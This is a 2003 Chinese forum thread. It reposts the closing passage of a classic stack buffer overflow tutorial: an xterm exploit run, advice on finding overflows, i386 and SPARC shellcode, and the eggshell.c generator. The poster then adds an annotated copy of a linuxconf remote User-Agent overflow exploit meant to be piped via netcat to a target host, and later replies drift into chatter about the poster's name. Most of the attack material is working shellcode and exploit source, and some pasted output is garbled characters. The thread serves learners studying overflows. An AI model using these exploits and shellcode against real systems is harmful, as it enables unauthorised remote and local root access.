  1064.   egg[eggsize - 1] = '\0';

  1065.   memcpy(egg,"EGG=",4);
  1066.   putenv(egg);
  1067.   memcpy(buff,"RET=",4);
  1068.   putenv(buff);
  1069.   system("/bin/bash");
  1070. }
  1071. ------------------------------------------------------------------------------

  1072.    Lets try our new exploit with our vulnerable test program:

  1073. ------------------------------------------------------------------------------
  1074. [aleph1]$ ./exploit4 768
  1075. Using address: 0xbffffdb0
  1076. [aleph1]$ ./vulnerable $RET
  1077. $
  1078. ------------------------------------------------------------------------------

  1079.    Works like a charm. Now lets try it on xterm:

  1080. ------------------------------------------------------------------------------
  1081. [aleph1]$ export DISPLAY=:0.0
  1082. [aleph1]$ ./exploit4 2148
  1083. Using address: 0xbffffdb0
  1084. [aleph1]$ /usr/X11R6/bin/xterm -fg $RET
  1085. Warning: Color name
  1086. "挨?堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪?








  1087. ?堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪








  1088. ??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪???








  1089. 挨?堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??








  1090. 堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪?








  1091. ?堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪








  1092. ??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪???








  1093. 挨?堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??








  1094. 堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪?








  1095. ?堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪??堪???堪???








  1096. 挨?堪??堪?
  1097. Warning: some arguments in previous message were lost
  1098. $
  1099. ------------------------------------------------------------------------------

  1100.    On the first try!  It has certainly increased our odds.  Depending how
  1101. much environment data the exploit program has compared with the program
  1102. you are trying to exploit the guessed address may be to low or to high.
  1103. Experiment both with positive and negative offsets.


  1104.                               Finding Buffer Overflows
  1105.                               ~~~~~~~~~~~~~~~~~~~~~~~~

  1106.    As stated earlier, buffer overflows are the result of stuffing more
  1107. information into a buffer than it is meant to hold.  Since C does not have any
  1108. built-in bounds checking, overflows often manifest themselves as writing past
  1109. the end of a character array.  The standard C library provides a number of
  1110. functions for copying or appending strings, that perform no boundary checking.
  1111. They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions
  1112. operate on null-terminated strings, and do not check for overflow of the
  1113. receiving string.  gets() is a function that reads a line from stdin into
  1114. a buffer until either a terminating newline or EOF.  It performs no checks for
  1115. buffer overflows.  The scanf() family of functions can also be a problem if
  1116. you are matching a sequence of non-white-space characters (%s), or matching a
  1117. non-empty sequence of characters from a specified set (%[]), and the array
  1118. pointed to by the char pointer, is not large enough to accept the whole
  1119. sequence of characters, and you have not defined the optional maximum field
  1120. width.  If the target of any of these functions is a buffer of static size,
  1121. and its other argument was somehow derived from user input there is a good
  1122. posibility that you might be able to exploit a buffer overflow.

  1123.    Another usual programming construct we find is the use of a while loop to
  1124. read one character at a time into a buffer from stdin or some file until the
  1125. end of line, end of file, or some other delimiter is reached.  This type of
  1126. construct usually uses one of these functions: getc(), fgetc(), or getchar().
  1127. If there is no explicit checks for overflows in the while loop, such programs
  1128. are easily exploited.

  1129.    To conclude, grep(1) is your friend.  The sources for free operating
  1130. systems and their utilities is readily available.  This fact becomes quite
  1131. interesting once you realize that many comercial operating systems utilities
  1132. where derived from the same sources as the free ones.  Use the source d00d.


  1133.      Appendix A - Shellcode for Different Operating Systems/Architectures
  1134.      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  1135. i386/Linux
  1136. ------------------------------------------------------------------------------
  1137.         jmp    0x1f
  1138.         popl   %esi
  1139.         movl   %esi,0x8(%esi)
  1140.         xorl   %eax,%eax
  1141.         movb   %eax,0x7(%esi)
  1142.         movl   %eax,0xc(%esi)
  1143.         movb   $0xb,%al
  1144.         movl   %esi,%ebx
  1145.         leal   0x8(%esi),%ecx
  1146.         leal   0xc(%esi),%edx
  1147.         int    $0x80
  1148.         xorl   %ebx,%ebx
  1149.         movl   %ebx,%eax
  1150.         inc    %eax
  1151.         int    $0x80
  1152.         call   -0x24
  1153.         .string "/bin/sh"
  1154. ------------------------------------------------------------------------------

  1155. SPARC/Solaris
  1156. ------------------------------------------------------------------------------
  1157.         sethi   0xbd89a, %l6
  1158.         or      %l6, 0x16e, %l6
  1159.         sethi   0xbdcda, %l7
  1160.         and     %sp, %sp, %o0
  1161.         add     %sp, 8, %o1
  1162.         xor     %o2, %o2, %o2
  1163.         add     %sp, 16, %sp
  1164.         std     %l6, [%sp - 16]
  1165.         st      %sp, [%sp - 8]
  1166.         st      %g0, [%sp - 4]
  1167.         mov     0x3b, %g1
  1168.         ta      8
  1169.         xor     %o7, %o7, %o0
  1170.         mov     1, %g1
  1171.         ta      8
  1172. ------------------------------------------------------------------------------

  1173. SPARC/SunOS
  1174. ------------------------------------------------------------------------------
  1175.         sethi   0xbd89a, %l6
  1176.         or      %l6, 0x16e, %l6
  1177.         sethi   0xbdcda, %l7
  1178.         and     %sp, %sp, %o0
  1179.         add     %sp, 8, %o1
  1180.         xor     %o2, %o2, %o2
  1181.         add     %sp, 16, %sp
  1182.         std     %l6, [%sp - 16]
  1183.         st      %sp, [%sp - 8]
  1184.         st      %g0, [%sp - 4]
  1185.         mov     0x3b, %g1
  1186.         mov        -0x1, %l5
  1187.         ta      %l5 + 1
  1188.         xor     %o7, %o7, %o0
  1189.         mov     1, %g1
  1190.         ta      %l5 + 1
  1191. ------------------------------------------------------------------------------


  1192.                  Appendix B - Generic Buffer Overflow Program
  1193.                  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  1194. shellcode.h
  1195. ------------------------------------------------------------------------------
  1196. #if defined(__i386__) && defined(__linux__)

  1197. #define NOP_SIZE        1
  1198. char nop[] = "\x90";
  1199. char shellcode[] =
  1200.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  1201.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  1202.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  1203. unsigned long get_sp(void) {
  1204.    __asm__("movl %esp,%eax");
  1205. }

  1206. #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

  1207. #define NOP_SIZE        4
  1208. char nop[]="\xac\x15\xa1\x6e";
  1209. char shellcode[] =
  1210.   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  1211.   "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  1212.   "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  1213.   "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

  1214. unsigned long get_sp(void) {
  1215.   __asm__("or %sp, %sp, %i0");
  1216. }

  1217. #elif defined(__sparc__) && defined(__sun__)

  1218. #define NOP_SIZE        4
  1219. char nop[]="\xac\x15\xa1\x6e";
  1220. char shellcode[] =
  1221.   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  1222.   "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  1223.   "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
  1224.   "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

  1225. unsigned long get_sp(void) {
  1226.   __asm__("or %sp, %sp, %i0");
  1227. }

  1228. #endif
  1229. ------------------------------------------------------------------------------

  1230. eggshell.c
  1231. ------------------------------------------------------------------------------
  1232. /*
  1233. * eggshell v1.0
  1234. *
  1235. * Aleph One / [email]aleph1@underground.org[/email]
  1236. */
  1237. #include <stdlib.h>
  1238. #include <stdio.h>
  1239. #include "shellcode.h"

  1240. #define DEFAULT_OFFSET                    0
  1241. #define DEFAULT_BUFFER_SIZE             512
  1242. #define DEFAULT_EGG_SIZE               2048

  1243. void usage(void);

  1244. void main(int argc, char *argv[]) {
  1245.   char *ptr, *bof, *egg;
  1246.   long *addr_ptr, addr;
  1247.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  1248.   int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;

  1249.   while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
  1250.     switch (c) {
  1251.       case 'a':
  1252.         align = atoi(optarg);
  1253.         break;
  1254.       case 'b':
  1255.         bsize = atoi(optarg);
  1256.         break;
  1257.       case 'e':
  1258.         eggsize = atoi(optarg);
  1259.         break;
  1260.       case 'o':
  1261.         offset = atoi(optarg);
  1262.         break;
  1263.       case '?':
  1264.         usage();
  1265.         exit(0);
  1266.     }

  1267.   if (strlen(shellcode) > eggsize) {
  1268.     printf("Shellcode is larger the the egg.\n");
  1269.     exit(0);
  1270.   }

  1271.   if (!(bof = malloc(bsize))) {
  1272.     printf("Can't allocate memory.\n");
  1273.     exit(0);
  1274.   }
  1275.   if (!(egg = malloc(eggsize))) {
  1276.     printf("Can't allocate memory.\n");
  1277.     exit(0);
  1278.   }

  1279.   addr = get_sp() - offset;
  1280.   printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
  1281.     bsize, eggsize, align);
  1282.   printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);

  1283.   addr_ptr = (long *) bof;
  1284.   for (i = 0; i < bsize; i+=4)
  1285.     *(addr_ptr++) = addr;

  1286.   ptr = egg;
  1287.   for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
  1288.     for (n = 0; n < NOP_SIZE; n++) {
  1289.       m = (n + align) % NOP_SIZE;
  1290.       *(ptr++) = nop[m];
  1291.     }

  1292.   for (i = 0; i < strlen(shellcode); i++)
  1293.     *(ptr++) = shellcode[i];

  1294.   bof[bsize - 1] = '\0';
  1295.   egg[eggsize - 1] = '\0';

  1296.   memcpy(egg,"EGG=",4);
  1297.   putenv(egg);

  1298.   memcpy(bof,"BOF=",4);
  1299.   putenv(bof);
  1300.   system("/bin/sh");
  1301. }

  1302. void usage(void) {
  1303.   (void)fprintf(stderr,
  1304.     "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
  1305. }
  1306. ------------------------------------------------------------------------------
复制代码
 楼主| 发表于 2003-5-9 20:58:22 | 显示全部楼层

我这样分析对吗?

linuxconf exploit by R00T-X (c) 1999
USER_AGENT overflow x86
should work on all linux's but you need to have
network access to linuxconf
greetz to: j0e, AcidCrunCh, |420|, umm and everyone who knows me, heh
have fun with this but for EDUCATIONAL PURPOSES
Usage:  (./linexp <offset>;cat)| nc targethost 98
*/

char shell[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xe8\xc0\xff\xff\xff/bin/sh\x00";

#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>
#define BUFLEN 1025
#define NOP 0x90
//此程序通过netcat连接到远程主机的端口98,因此发送数据就少了套接口编程这一部分来实现攻击机子与被攻击机子的连接。
void
main (int argc, char *argv[])//argc表示命令参数的个数,argv[]表示具体的命令行参数字体串数组。如执行命令"ls -l filename",则argc为3,而argv[0]就是ls, 相应地,argv[1]我argv[2]就是-l 和 filename。如果执行的命令是"ls filename“,则参数argc只有两个,argv[0]就是ls,argv[1]就应filename。其余的以此类推。这里就是要求执行命令时要带上一个offset参数。
{
char buf[BUFLEN];
int offset,nop,i;
unsigned long esp;
char shell[1024+300];

if(argc < 2)//若参数少于2个,把此参数打印出来
{
fprintf(stderr,"usage: (%s <offset>;cat)|nc host.com 98\n", argv[0]);
exit(0);
}

nop = 511;
esp = 0xefbfd5e8;
offset = atoi(argv[1]);

memset(buf, NOP, BUFLEN);//把缓冲区buf的每个字节设置为NOP的数值,即0x90
memcpy(buf+(long)nop, shell, strlen(shell));//在内存中把shell复制到buf中去,从长度上看,应该是溢出了。
for (i = 256; i < BUFLEN - 3; i += 2)//程序最关键的部分:“缓冲区的基址+偏移量”赋给对应的缓冲区指针,通过输入字符达到填满缓冲区甚至溢出的功效;向HTTP头信息插入过量无用的数据。
{   *((int *) &buf) = esp + (long) offset;
  shell[ sizeof(shell)-1 ] = 0;
}

printf("OST / HTTP/1.0\r\nContent-Length: %d, User-agent: \r\n", BUFLEN);
for (i = 0; i < BUFLEN; i++)
  putchar(buf);
printf("\r\n");
return;
}
发表于 2003-5-9 21:56:57 | 显示全部楼层
溢出的部分我也看不懂。应该就是这个样子了。
发表于 2003-5-10 18:37:45 | 显示全部楼层
缓冲区溢出跟婷婷有什麼關係呢?
发表于 2003-5-10 22:43:12 | 显示全部楼层
婷婷


????
发表于 2003-5-11 08:46:51 | 显示全部楼层
婷婷是楼主pgtm_love的名字,以后你们别再拿着人家的名字念来念去,这样做对一个MM不太礼貌。
发表于 2003-5-11 18:13:16 | 显示全部楼层
問問題就好好的問,幹嘛還要用這種標題,分明是在裝可?搞不好是個男的,改成女人名字讓哥哥們熱心回帖..呵呵...
 楼主| 发表于 2003-5-11 18:39:25 | 显示全部楼层

不要这样嘛

我可没这么虚伪,我这样做纯粹是为了让那位好心的大哥容易搜索我的帖子,再说,你这样说的意思就是说假如是男生问的问题,大伙就不热心喽?人家可不是像你这样一般见识。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表